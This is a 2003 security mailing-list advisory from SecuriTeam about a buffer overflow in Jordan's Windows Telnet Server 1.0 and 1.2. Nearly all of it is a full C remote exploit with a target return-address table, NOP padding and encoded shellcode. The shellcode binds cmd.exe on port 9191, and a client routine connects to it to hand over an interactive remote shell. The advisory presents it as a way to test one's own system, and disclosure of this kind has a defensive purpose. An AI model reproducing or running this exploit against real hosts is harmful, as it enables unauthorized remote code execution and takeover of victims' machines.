[EXPL] Jordan's Telnet Server Buffer Overflow Exploit

From: SecuriTeam (support_at_securiteam.com)
Date: 12/31/03

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Date: 31 Dec 2003 18:44:30 +0200

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Jordan's Telnet Server Buffer Overflow Exploit
------------------------------------------------------------------------

SUMMARY

<http://www.jordan.com/WindowsTelnetServer> Windows Telnet Server (Wtsd)
"is a small commercial telnet server written by Jordan Stojanovski". A
buffer overflow vulnerability in the product allows remote attackers to
cause the product to execute arbitrary code (as we reported in
<http://www.securiteam.com/windowsntfocus/6S00W0A95M.html> Jordan's Telnet
Server Buffer Overflow). The following exploit code can be used to test
your system for the mentioned vulnerability.

DETAILS

Vulnerable systems:
* Jordan's Windows Telnet Server version 1.0
* Jordan's Windows Telnet Server version 1.2

Exploit:
/*
* Jordan's Windows Telnet server v.1.0 remote exploit
* binds cmd.exe shell on port 9191
*
* Home page: http://www.jordan.com/WindowsTelnetServer
* Advisory: http://security.nnov.ru/search/document.asp?docid=5583
*
* Tested on winxp only, but must work on other win32 systems.
*
* -d4rkgr3y [d4rk@securitylab.ru], m00.void.ru
*
*/

#include <string.h>
#include <unistd.h>
#include <netdb.h>

struct
{
char *platform;
long ret;
}

targets[]=
{
  {"Windows XP sp0", 0x77F5801C}, // ntdll.dll : jmp esp
  {"Windows XP sp1", 0x77fb59cc},
  {"Windows 2000 sp3", 0x77e2afc5},
  {"Windows NT sp6", 0x77f0eac3},
  {"Windows 98 SE", 0x7fdabfa9},
  {"Denial-of-Service attack", 0xdefaced},
};

char payload[] =
  "\x90\x90\x90\x90"
  "\x90\x90\x90\x90"
  "\x90\x90\x90\x90"
  "\x90\x90\x90\x90"
  "\x90\x90\x90\x90"
  "\x90\x90\x90\x90"
  "\x90\x90\x90\x90"
  "\x90\x90\x90\x90";

char w32pbshellcode[] =
  "\xEB\x03\x5D\xEB\x05\xE8\xF8\xFF\xFF\xFF\x8B\xC5\x83\xC0\x11\x33"
  "\xC9\x66\xB9\xC9\x01\x80\x30\x88\x40\xE2\xFA\xDD\x03\x64\x03\x7C"
  "\x09\x64\x08\x88\x88\x88\x60\xC4\x89\x88\x88\x01\xCE\x74\x77\xFE"
  "\x74\xE0\x06\xC6\x86\x64\x60\xD9\x89\x88\x88\x01\xCE\x4E\xE0\xBB"
  "\xBA\x88\x88\xE0\xFF\xFB\xBA\xD7\xDC\x77\xDE\x4E\x01\xCE\x70\x77"
  "\xFE\x74\xE0\x25\x51\x8D\x46\x60\xB8\x89\x88\x88\x01\xCE\x5A\x77"
  "\xFE\x74\xE0\xFA\x76\x3B\x9E\x60\xA8\x89\x88\x88\x01\xCE\x46\x77"
  "\xFE\x74\xE0\x67\x46\x68\xE8\x60\x98\x89\x88\x88\x01\xCE\x42\x77"
  "\xFE\x70\xE0\x43\x65\x74\xB3\x60\x88\x89\x88\x88\x01\xCE\x7C\x77"
  "\xFE\x70\xE0\x51\x81\x7D\x25\x60\x78\x88\x88\x88\x01\xCE\x78\x77"
  "\xFE\x70\xE0\x2C\x92\xF8\x4F\x60\x68\x88\x88\x88\x01\xCE\x64\x77"
  "\xFE\x70\xE0\x2C\x25\xA6\x61\x60\x58\x88\x88\x88\x01\xCE\x60\x77"
  "\xFE\x70\xE0\x6D\xC1\x0E\xC1\x60\x48\x88\x88\x88\x01\xCE\x6A\x77"
  "\xFE\x70\xE0\x6F\xF1\x4E\xF1\x60\x38\x88\x88\x88\x01\xCE\x5E\xBB"
  "\x77\x09\x64\x7C\x89\x88\x88\xDC\xE0\x89\x89\x88\x88\x77\xDE\x7C"
  "\xD8\xD8\xD8\xD8\xC8\xD8\xC8\xD8\x77\xDE\x78\x03\x50\xDF\xDF\xE0"
  "\x8A\x88\xAB\x6F\x03\x44\xE2\x9E\xD9\xDB\x77\xDE\x64\xDF\xDB\x77"
  "\xDE\x60\xBB\x77\xDF\xD9\xDB\x77\xDE\x6A\x03\x58\x01\xCE\x36\xE0"
  "\xEB\xE5\xEC\x88\x01\xEE\x4A\x0B\x4C\x24\x05\xB4\xAC\xBB\x48\xBB"
  "\x41\x08\x49\x9D\x23\x6A\x75\x4E\xCC\xAC\x98\xCC\x76\xCC\xAC\xB5"
  "\x01\xDC\xAC\xC0\x01\xDC\xAC\xC4\x01\xDC\xAC\xD8\x05\xCC\xAC\x98"
  "\xDC\xD8\xD9\xD9\xD9\xC9\xD9\xC1\xD9\xD9\x77\xFE\x4A\xD9\x77\xDE"
  "\x46\x03\x44\xE2\x77\x77\xB9\x77\xDE\x5A\x03\x40\x77\xFE\x36\x77"
  "\xDE\x5E\x63\x16\x77\xDE\x9C\xDE\xEC\x29\xB8\x88\x88\x88\x03\xC8"
  "\x84\x03\xF8\x94\x25\x03\xC8\x80\xD6\x4A\x8C\x88\xDB\xDD\xDE\xDF"
  "\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D\xF0\x8B\x5D\x03\xC2\x90"
  "\x03\xD2\xA8\x8B\x55\x6B\xBA\xC1\x03\xBC\x03\x8B\x7D\xBB\x77\x74"
  "\xBB\x48\x24\xB2\x4C\xFC\x8F\x49\x47\x85\x8B\x70\x63\x7A\xB3\xF4"
  "\xAC\x9C\xFD\x69\x03\xD2\xAC\x8B\x55\xEE\x03\x84\xC3\x03\xD2\x94"
  "\x8B\x55\x03\x8C\x03\x8B\x4D\x63\x8A\xBB\x48\x03\x5D\xD7\xD6\xD5"
  "\xD3\x4A\x8C\x88";

void usage();

struct hostent *hp;

int main(int argc, char *argv[])
  {
  unsigned short port=23;
  unsigned int sock,addr,hand;
  char buf[1032], ***[666];

printf("\n Jordan's Windows Telnet server v.1.0 remote exploit\n");
printf("\t\tby m00 Security // m00.void.ru\n\n");

  if(argc<3 || argc>4) usage(argv[0]);
  if((atoi(argv[2]))>5) usage(argv[0]);
  if(argv[3]) port = atoi(argv[3]);

  memset(buf,'\x41',1032);
  memcpy(&buf[512], (unsigned char *) &targets[atoi(argv[2])].ret, 4);
  memcpy(&buf[516], payload, sizeof(payload));
  memcpy(&buf[548], w32pbshellcode, sizeof(w32pbshellcode));
  memset(buf+strlen(w32pbshellcode)+548,'\x0d',1);
  memset(buf+strlen(w32pbshellcode)+548+1,'\x0a',1);

  printf("~ Resolving hostname => ");
  if((hp=gethostbyname(argv[1]))==NULL) {
    printf("failed\n");
    exit(1);
  }
  printf("done\n");

  printf("~ Conneting => ");
  if((sock=connect_to_host(port))==-1) {
    printf("failed\n");
    exit(1);
  }
  printf("done\n");

  printf("~ Sending exploit buffer => ");
  sleep(2);
  recv(sock,***,666,0);
  send(sock,buf,1032,0);
  printf("done\n");
  printf("~ Connecting to bindshell => ");
  usleep(1000);
  if((hand=connect_to_host(9191))==-1)
    printf("failed\n\n");
  else {
    printf("done\n~ Shell spawned on port 9191 ^ have a nice day\n\n");
    get_shell(hand);
  }

close(sock);
exit(0);
}

void usage(char *progname)
{
  int i;
  printf("Usage: %s <host> <os type> [port]\n\nWhere 'os type'
is:\n",progname);
  for(i=0;targets[i].platform;i++) {
    printf(" %i %s\n", i, targets[i].platform);
  }
  printf("\n");
  exit(0);
}

int connect_to_host(int port)
{
int sockt;
struct sockaddr_in saddr;

  if((sockt=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
    return -1;
  memset((void *)&saddr, 0, sizeof(struct sockaddr_in));
  saddr.sin_family=AF_INET;
  saddr.sin_addr.s_addr=*((unsigned long *)hp->h_addr_list[0]);
  saddr.sin_port=htons(port);
  if(connect(sockt, (struct sockaddr *)&saddr, sizeof(saddr))<0) {
    close(sockt);
    return -1;
  } else
  return sockt;
}

int get_shell(int bsh)
{
  fd_set rfds;
  int retVal,r;
  char buf[0x31337];
  do {
    FD_ZERO(&rfds);
    FD_SET(0, &rfds);
    FD_SET(bsh, &rfds);
    retVal=select(bsh+1, &rfds, NULL, NULL, NULL);
    if(retVal) {
      if(FD_ISSET(bsh, &rfds)) {

        buf[(r=recv(bsh, buf, 8095,0))]='\0';
        printf("%s", buf);
      }
      if(FD_ISSET(0, &rfds)) {
        buf[(r=read(0, buf, 8095))]='\0';
        send(bsh, buf, strlen(buf), 0);
      }
    }
  } while(retVal && r);

close(bsh);
return 1;
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:d4rk@securitylab.ru>
d4rkgr3y.

========================================

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